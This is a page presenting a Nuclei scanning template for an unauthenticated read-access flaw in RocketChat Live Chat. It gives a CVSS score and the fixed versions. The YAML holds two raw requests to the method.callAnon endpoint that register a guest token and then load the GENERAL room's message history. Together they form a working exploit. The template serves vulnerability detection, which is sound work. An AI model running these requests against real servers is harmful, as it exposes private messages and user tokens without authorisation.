RocketChat Live Chat - Unauthenticated Read Access

ID: rocketchat-unauth-access

Severity: high

Author: rojanrijal

Tags: rocketchat,unauth

Description

RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.

YAML Source

id: rocketchat-unauth-access

info:
  name: RocketChat Live Chat - Unauthenticated Read Access
  author: rojanrijal
  severity: high
  description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.
  remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
  reference:
    - https://docs.rocket.chat/guides/security/security-updates
    - https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-522
  metadata:
    max-request: 2
  tags: rocketchat,unauth
variables:
  value: "{{to_lower(rand_text_alpha(5))}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"{{value}}\",\"name\":\"cve-2020-{{value}}\",\"email\":\"{{user_email}}\"}],\"id\":\"123\"}"}
      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"{{value}}\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"{\"msg\":\"result\",\"result\":{\"messages\"'
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210096428ae02f14e01e9b1ab8349ab23f90add75776d479f16f3f72ad32a8faef94022100c282bb308e83dcc91acd2711e9e200557b79a40d18443cf144ec912089bc2461:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/rocketchat/unauth-message-read.yaml"

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